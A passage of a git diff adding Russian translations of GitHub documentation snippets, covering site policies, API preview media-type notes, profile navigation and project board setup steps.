5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878756" +--- +{% data variables.product.prodname_dotcom %} не допускает злоупотреблений. {% ifversion fpt or ghec %} Дополнительные сведения о политиках {% data variables.product.prodname_dotcom %}см. в наших [Условиях предоставления услуг](/free-pro-team@latest/github/site-policy/github-terms-of-service) и [Правилах сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %} diff --git a/translations/ru-RU/data/reusables/policies/github-community-guidelines-and-terms.md b/translations/ru-RU/data/reusables/policies/github-community-guidelines-and-terms.md new file mode 100644 index 000000000000..dffaf8eef705 --- /dev/null +++ b/translations/ru-RU/data/reusables/policies/github-community-guidelines-and-terms.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7214104e2581008e43b528756589ff9d89f98c38 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121443" +--- +{% data variables.product.company_short %} предоставляет базовый код поведения для всех, кто использует {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в разделах [Условия предоставления услуг для {% data variables.product.company_short %}](/free-pro-team@latest/github/site-policy/github-terms-of-service) и [Правила сообщества {% data variables.product.company_short %}](/free-pro-team@latest/github/site-policy/github-community-guidelines). diff --git a/translations/ru-RU/data/reusables/policies/translation.md b/translations/ru-RU/data/reusables/policies/translation.md new file mode 100644 index 000000000000..be6005793cd8 --- /dev/null +++ b/translations/ru-RU/data/reusables/policies/translation.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: af055b3b51fb304529bc902576b6025b6018d4f2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881783" +--- +Этот документ переведен с английского языка. В случае конфликта, неопределенности или явного несоответствия между этой версией и английскими версиями этого документа, английская версия имеет преимущество. + +Если у вас есть предложения по улучшению перевода, создайте обращение в нашем репозитории политик сайта. diff --git a/translations/ru-RU/data/reusables/pre-release-program/api-preview-warning.md b/translations/ru-RU/data/reusables/pre-release-program/api-preview-warning.md new file mode 100644 index 000000000000..09b9656cacc3 --- /dev/null +++ b/translations/ru-RU/data/reusables/pre-release-program/api-preview-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: fac9d9348335cfdce0878cceb276648ee9b93bdc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121435" +--- +{% warning %} + +**Предупреждение.** API может быть изменен без предварительного уведомления в течение срока действия предварительной версии. Предварительные версии функций не поддерживаются для использования в рабочей среде. При возникновении каких-либо проблем обратитесь {% data variables.contact.contact_support %}. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/pre-release-program/content-attachments-public-beta.md b/translations/ru-RU/data/reusables/pre-release-program/content-attachments-public-beta.md new file mode 100644 index 000000000000..bb382bd38cd5 --- /dev/null +++ b/translations/ru-RU/data/reusables/pre-release-program/content-attachments-public-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a9ab4ec69312b7917e654279248338eaf3999b25 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121432" +--- +{% note %} + +**Примечание.** API {% data variables.product.prodname_unfurls %} в настоящее время доступен в общедоступной бета-версии и только для использования с Приложениями GitHub. Функции и требования могут быть изменены в любое время в течение этого периода. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/pre-release-program/corsair-preview.md b/translations/ru-RU/data/reusables/pre-release-program/corsair-preview.md new file mode 100644 index 000000000000..a43cf7214f6d --- /dev/null +++ b/translations/ru-RU/data/reusables/pre-release-program/corsair-preview.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 333cbe113a228435e2661d3da994bc0e8541d151 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121400" +--- +{% note %} + +**Примечание.** Чтобы получить доступ к API {% data variables.product.prodname_unfurls %} в течение срока действия предварительной версии, необходимо указать настраиваемый [тип носителя](/rest/overview/media-types) в заголовке `Accept`: + +``` +application/vnd.github.corsair-preview+json +``` + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/pre-release-program/expiring-user-access-tokens.md b/translations/ru-RU/data/reusables/pre-release-program/expiring-user-access-tokens.md new file mode 100644 index 000000000000..d1c269d1fff4 --- /dev/null +++ b/translations/ru-RU/data/reusables/pre-release-program/expiring-user-access-tokens.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: dd38b5506d6696876419f48fada5abbfe373d21c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121395" +--- +{% ifversion fpt or ghes or ghae %} + +{% note %} + +**Примечание.** Ограничение срока действия маркеров в настоящее время являются необязательной функцией и может быть изменено. Сведения о том, как отказаться от функции ограничения срока действия маркеров, см. в разделе [Активация дополнительных функций для приложений](/developers/apps/activating-optional-features-for-apps). Дополнительные сведения см. в статье [Ограничение срока действия маркеров доступа пользователей к серверу для приложений GitHub](https://developer.github.com/changes/2020-04-30-expiring-user-to-server-access-tokens-for-github-apps). + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/pre-release-program/starfox-preview.md b/translations/ru-RU/data/reusables/pre-release-program/starfox-preview.md new file mode 100644 index 000000000000..3543048943d5 --- /dev/null +++ b/translations/ru-RU/data/reusables/pre-release-program/starfox-preview.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 3557e85680e20919fbe049cfe30ccacc93d9c17c +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879812" +--- +{% note %} + +**Примечание.** Сведения о карточке проекта теперь отображаются в ответах REST API для проблем, связанных с проектом, и событий временной шкалы. Эта функция теперь доступна разработчикам для предварительного просмотра. Дополнительные сведения см. в [этой записи блога](https://developer.github.com/changes/2018-09-05-project-card-events). + +Чтобы получить атрибут `project_card`, панели проекта можно [включить](/articles/disabling-project-boards-in-a-repository) для репозитория, а также необходимо указать пользовательский [тип мультимедиа](/rest/overview/media-types) в заголовке `Accept`: + +``` +application/vnd.github.starfox-preview+json +``` + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/products/product-roadmap.md b/translations/ru-RU/data/reusables/products/product-roadmap.md new file mode 100644 index 000000000000..bd1e8aee5914 --- /dev/null +++ b/translations/ru-RU/data/reusables/products/product-roadmap.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d51d758f681a3de90c28a4b299ec31fdbf827c13 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121387" +--- +Сведения о запланированных функциях и продуктах см. в разделе [{% data variables.product.prodname_roadmap %}]({% data variables.product.prodname_roadmap_link %}). diff --git a/translations/ru-RU/data/reusables/products/which-product-to-use.md b/translations/ru-RU/data/reusables/products/which-product-to-use.md new file mode 100644 index 000000000000..4b1db7ab4c7f --- /dev/null +++ b/translations/ru-RU/data/reusables/products/which-product-to-use.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7b631491414810545a8755f2c9532494c9e84a24 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "146683648" +--- +Если вы не уверены, стоит ли использовать для организации {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} или оба этих варианта, обратитесь в {% data variables.contact.contact_enterprise_sales %}. Если в вашей организации имеется не более 11 разработчиков, рассмотрите {% data variables.product.prodname_team %}; организации, в которых более 12 разработчиков, получат максимум преимуществ от {% data variables.product.prodname_enterprise %}. Дополнительные сведения см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products). diff --git a/translations/ru-RU/data/reusables/profile/access_org.md b/translations/ru-RU/data/reusables/profile/access_org.md new file mode 100644 index 000000000000..626ec849facf --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/access_org.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 08564f054c871af7f61db8dba021b32a618a6e18 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121379" +--- +1. В правом верхнем углу {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} щелкните фотографию профиля, а затем щелкните **Ваши организации**. + ![Ваши организации в меню профиля](/assets/images/help/profile/your-organizations.png) diff --git a/translations/ru-RU/data/reusables/profile/access_profile.md b/translations/ru-RU/data/reusables/profile/access_profile.md new file mode 100644 index 000000000000..52efa2fab3de --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/access_profile.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 8068e9cbf46131747b599a20683b1b64d8d7a298 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121376" +--- +{% ifversion fpt or ghec %}1. В правом верхнем углу {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} щелкните фотографию профиля, а затем щелкните **Ваш профиль**. + ![Фото профиля](/assets/images/help/profile/top_right_avatar.png){% else %} +1. В правом верхнем углу {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} щелкните фотографию профиля, а затем щелкните **Ваш профиль**. + ![Фото профиля](/assets/images/enterprise/settings/top_right_avatar.png){% endif %} diff --git a/translations/ru-RU/data/reusables/profile/activity-overview-summary.md b/translations/ru-RU/data/reusables/profile/activity-overview-summary.md new file mode 100644 index 000000000000..6b36e77c0cc0 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/activity-overview-summary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bdea9acea7d20b628a1aaff5f9a648009072ba5b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145093013" +--- +При включении раздела "Обзор действий" в профиле средства просмотра смогут просмотреть дополнительные сведения о типах внесенных вкладов и репозиториях, в которые вы наиболее активны. Средство просмотра может просматривать только сведения в разделе "Обзор действий" о репозиториях, к которых у них есть доступ на чтение. После включения средство просмотра также может фильтровать граф вкладов и временную шкалу действий для конкретной организации. diff --git a/translations/ru-RU/data/reusables/profile/enterprise_access_profile.md b/translations/ru-RU/data/reusables/profile/enterprise_access_profile.md new file mode 100644 index 000000000000..0b11a053a53f --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/enterprise_access_profile.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: df0e4b2d0bec51f2927b95a6dd4fc236950ffb91 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145093010" +--- +1. В правом верхнем углу {% data variables.product.prodname_ghe_server %} щелкните фотографию профиля и выберите **свой профиль**. +![Profile photo (Фотография профиля)](/assets/images/enterprise/settings/top_right_avatar.png) diff --git a/translations/ru-RU/data/reusables/profile/navigating-to-profile.md b/translations/ru-RU/data/reusables/profile/navigating-to-profile.md new file mode 100644 index 000000000000..95da13de2154 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/navigating-to-profile.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 32a0fded4915b0b23b3db1110d556bd14e0830a8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106648" +--- +1. В правом верхнем углу любой страницы {% data variables.product.product_name %} нажмите фото своего профиля, затем выберите **Ваш профиль**. diff --git a/translations/ru-RU/data/reusables/profile/org_member_privileges.md b/translations/ru-RU/data/reusables/profile/org_member_privileges.md new file mode 100644 index 000000000000..a31e6cef073f --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/org_member_privileges.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e3a9476d827f5f8dd0bcb1da22c2e3fb3865d30b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093009" +--- +3. В разделе "Доступ" нажмите **Права участников**. + ![Снимок экрана: вкладка "Права участников"](/assets/images/help/organizations/member-privileges.png) diff --git a/translations/ru-RU/data/reusables/profile/org_settings.md b/translations/ru-RU/data/reusables/profile/org_settings.md new file mode 100644 index 000000000000..63036c327191 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/org_settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9f81529edf195584171d040005a78b26011ee018 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145093006" +--- +2. Рядом с организацией щелкните **Параметры**. + ![Кнопка "Параметры"](/assets/images/help/organizations/settings-button.png) diff --git a/translations/ru-RU/data/reusables/profile/profile-readme.md b/translations/ru-RU/data/reusables/profile/profile-readme.md new file mode 100644 index 000000000000..8ec8a99e2806 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/profile-readme.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7291bcbd16f26365ca5840b6409ebceecb033470 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093005" +--- +Если вы добавите файл README в корневой каталог общедоступного репозитория с тем же именем, что и имя пользователя, файл README будет автоматически отображаться на странице профиля. Можно изменить файл README профиля с помощью {% data variables.product.company_short %} Flavored Markdown, чтобы создать персонализированный раздел профиля. Дополнительные сведения см. в разделе [Управление файлом README профиля](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme). diff --git a/translations/ru-RU/data/reusables/profile/update-profile.md b/translations/ru-RU/data/reusables/profile/update-profile.md new file mode 100644 index 000000000000..632849aa5f25 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/update-profile.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ffd9ea8b8a9308f9d6c22c25dcdb8a385eaedec6 +ms.sourcegitcommit: 7e6836f8cb3b981939bf934e735e7eced8133b05 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: "148022534" +--- +1. Нажмите **Обновить профиль**. + + ![Снимок экрана: кнопка "Обновить профиль".](/assets/images/help/profile/update-profile-button.png) diff --git a/translations/ru-RU/data/reusables/profile/user_profile_page_block_or_report.md b/translations/ru-RU/data/reusables/profile/user_profile_page_block_or_report.md new file mode 100644 index 000000000000..87d38aaeefb4 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/user_profile_page_block_or_report.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c3135ce5295270c1796b4c32bb2c0c019333746a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093002" +--- +1. На боковой панели слева под сведениями профиля пользователя щелкните **Блокировать или сообщить**. +![Ссылка "Блокировать или сообщить"](/assets/images/help/profile/profile-block-or-report-button.png) diff --git a/translations/ru-RU/data/reusables/profile/user_profile_page_navigation.md b/translations/ru-RU/data/reusables/profile/user_profile_page_navigation.md new file mode 100644 index 000000000000..77bb6e179a24 --- /dev/null +++ b/translations/ru-RU/data/reusables/profile/user_profile_page_navigation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fb124c0893cd6005ea1c2ce12a01bb054f849737 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093001" +--- +1. Посетите страницу профиля пользователя. diff --git a/translations/ru-RU/data/reusables/project-management/access-collaboration-settings.md b/translations/ru-RU/data/reusables/project-management/access-collaboration-settings.md new file mode 100644 index 000000000000..b7c2e70a5aab --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/access-collaboration-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b382179601ebbd40c1fcbbde6d8e7caa4519f6c2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092998" +--- +1. Щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} и выберите пункт **Параметры**. +![Пункт "Параметры" в раскрывающемся меню на боковой панели доски проекта](/assets/images/help/projects/project-board-settings.png) diff --git a/translations/ru-RU/data/reusables/project-management/add-collaborator.md b/translations/ru-RU/data/reusables/project-management/add-collaborator.md new file mode 100644 index 000000000000..5fec57ff980e --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/add-collaborator.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1808a45502856d17b288cf58321b88a0657245a1 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092997" +--- +10. В результатах поиска щелкните правильное имя пользователя и нажмите кнопку **Добавить участника совместной работы**. diff --git a/translations/ru-RU/data/reusables/project-management/add-column-new-project.md b/translations/ru-RU/data/reusables/project-management/add-column-new-project.md new file mode 100644 index 000000000000..a4c5e99b3d82 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/add-column-new-project.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d3c7ed96c179ee3c4eb0334b2fbd5c2a8a8bd917 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883751" +--- +1. Чтобы добавить первый столбец на доске нового проекта, нажмите кнопку **Добавить столбец**. + ![Кнопка "Добавить столбец" на пустой доске проекта](/assets/images/help/projects/add-column.png) diff --git a/translations/ru-RU/data/reusables/project-management/add-more-columns.md b/translations/ru-RU/data/reusables/project-management/add-more-columns.md new file mode 100644 index 000000000000..537f60b976b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/add-more-columns.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 091d2be25dd2468605688d2ff1e3a56aa4ae1b82 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092973" +--- +1. Добавьте столбцы в соответствии с вашим рабочим процессом. diff --git a/translations/ru-RU/data/reusables/project-management/automate-project-board-permissions.md b/translations/ru-RU/data/reusables/project-management/automate-project-board-permissions.md new file mode 100644 index 000000000000..940e3a5ff519 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/automate-project-board-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5d093359be4fb76de1520a0d143c077bab0333bd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147422695" +--- +Чтобы настроить автоматические рабочие процессы для {% data variables.projects.projects_v1_board %} репозитория, необходимо иметь разрешения на запись в нем. Владельцы и члены организации могут настраивать автоматические рабочие процессы в {% data variables.projects.projects_v1_board %} на уровне организации. diff --git a/translations/ru-RU/data/reusables/project-management/cascading-permissions.md b/translations/ru-RU/data/reusables/project-management/cascading-permissions.md new file mode 100644 index 000000000000..48906cc4adfe --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/cascading-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7004404db9f15389d29b5f8878ed9f2d0b8d5bed +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879852" +--- +Если {% data variables.projects.projects_v1_board %} организации доступна пользователю несколькими путями (индивидуально, в качестве члена команды или сотрудника организации), то будет действовать самый высокий из его уровней разрешений, которые имеет {% data variables.projects.projects_v1_board %}. diff --git a/translations/ru-RU/data/reusables/project-management/choose-template.md b/translations/ru-RU/data/reusables/project-management/choose-template.md new file mode 100644 index 000000000000..1d1e48de8c7b --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/choose-template.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1c28bd96763cb93801b7dac307b5d2d94c5266d9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092966" +--- +5. При необходимости, чтобы добавить шаблон в доску проекта, используйте раскрывающееся меню **Шаблон:** и щелкните шаблон. +![Раскрывающееся меню с вариантами шаблона доски проекта](/assets/images/help/projects/project_board_template_drop_down_menu.png) diff --git a/translations/ru-RU/data/reusables/project-management/choose-visibility.md b/translations/ru-RU/data/reusables/project-management/choose-visibility.md new file mode 100644 index 000000000000..c8662718c4fd --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/choose-visibility.md @@ -0,0 +1,2 @@ +1. Under "Visibility", choose to make your project board {% ifversion ghae %}internal{% else %}public{% endif %} or private. For more information, see "[Changing project board visibility](/github/managing-your-work-on-github/changing-project-board-visibility)." + ![Radio buttons to choose project board visibility]{% ifversion ghae %}(/assets/images/help/projects/visibility-radio-buttons-ae.png){% elsif ghes > 3.4 %}(/assets/images/help/projects/visibility-radio-buttons-es.png){% else %}(/assets/images/help/projects/visibility-radio-buttons.png){% endif %} diff --git a/translations/ru-RU/data/reusables/project-management/click-create-column.md b/translations/ru-RU/data/reusables/project-management/click-create-column.md new file mode 100644 index 000000000000..39a4f0d11887 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/click-create-column.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c6548d47329e27c081cd4f29281ac947f26c9b20 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092962" +--- +1. Щелкните **Создать столбец**. diff --git a/translations/ru-RU/data/reusables/project-management/click-edit-sidebar-menu-project-board.md b/translations/ru-RU/data/reusables/project-management/click-edit-sidebar-menu-project-board.md new file mode 100644 index 000000000000..727ae7484dd7 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/click-edit-sidebar-menu-project-board.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f78f0ce2e9edffa3b529710b5edb864a1ba95501 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092961" +--- +1. Щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Изменить**. +![Параметр "Изменить" в раскрывающемся меню на боковой панели доски проекта](/assets/images/help/projects/project-board-edit-settings.png) diff --git a/translations/ru-RU/data/reusables/project-management/click-menu.md b/translations/ru-RU/data/reusables/project-management/click-menu.md new file mode 100644 index 000000000000..e8cdc4a8e60e --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/click-menu.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8ab051a694a099f9c0008529f3e682724d830b5e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884529" +--- +1. В верхней части {% data variables.projects.projects_v1_board %} щелкните {% octicon "three-bars" aria-label="The three-bars octicon" %} **Меню**. diff --git a/translations/ru-RU/data/reusables/project-management/click-new-project.md b/translations/ru-RU/data/reusables/project-management/click-new-project.md new file mode 100644 index 000000000000..c0c274dca85d --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/click-new-project.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 282da1d7c9e184c1d1e44c969388cf44edc7617f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118792" +--- +1. Выберите **Создать проект**. +![Кнопка "Создать Project"](/assets/images/help/projects/new-project-button.png) diff --git a/translations/ru-RU/data/reusables/project-management/collaborator-option.md b/translations/ru-RU/data/reusables/project-management/collaborator-option.md new file mode 100644 index 000000000000..26072b37cecb --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/collaborator-option.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 37b1e2b8a208d0232169eabdfd6af913ba830f42 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092954" +--- +8. На левой боковой панели щелкните **Участники совместной работы**. + ![Пункт меню "Участники совместной работы" на левой боковой панели](/assets/images/help/projects/project-board-collaborator-setting.png) diff --git a/translations/ru-RU/data/reusables/project-management/collaborator-permissions.md b/translations/ru-RU/data/reusables/project-management/collaborator-permissions.md new file mode 100644 index 000000000000..f95cc391ba77 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/collaborator-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9ee21b2fc8490dd94e41c826e994f94998f732bb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880680" +--- +11. При необходимости рядом с именем нового участника совместной работы в раскрывающемся меню выберите нужный уровень разрешений: **Чтение**, **Запись** или **Администратор**. ![Раскрывающееся меню разрешений для участника совместной работы с пунктами "Чтение", "Запись" и "Администратор"](/assets/images/help/projects/org-project-collaborators-choose-permissions.png) diff --git a/translations/ru-RU/data/reusables/project-management/confirm-label-deletion.md b/translations/ru-RU/data/reusables/project-management/confirm-label-deletion.md new file mode 100644 index 000000000000..d7ba7664fb67 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/confirm-label-deletion.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a64797475f56b29a771f67ebed497fc4d029b267 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884296" +--- + 1. Ознакомьтесь с предупреждением и нажмите кнопку **ОК**. diff --git a/translations/ru-RU/data/reusables/project-management/copy-project-boards.md b/translations/ru-RU/data/reusables/project-management/copy-project-boards.md new file mode 100644 index 000000000000..98b395622af0 --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/copy-project-boards.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: da42053c005fb371b4f39ccc98536ce2e3c14977 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884699" +--- +{% ifversion fpt or ghec %} Настройки, которые имеет {% data variables.projects.projects_v1_board %}, можно повторно использовать в подобных проектах, скопировав ее. Дополнительные сведения: [Копирование компонента "{% data variables.product.prodname_project_v1 %}"](/articles/copying-a-project-board). +{% endif %} diff --git a/translations/ru-RU/data/reusables/project-management/create-label.md b/translations/ru-RU/data/reusables/project-management/create-label.md new file mode 100644 index 000000000000..d143febbe88e --- /dev/null +++ b/translations/ru-RU/data/reusables/project-management/create-label.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ef75310ad3d8638cd4a25b6210472d500d7f66eb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092930" +--- + 1. Чтобы сохранить новую метку, нажмите кнопку **Создать метку**. diff --git a/translations/ru-RU/data/reusables/project-management/create-project-button.md b/translations/ru-RU/data/reusables/project-management/create-project-button.md new file mode 100644 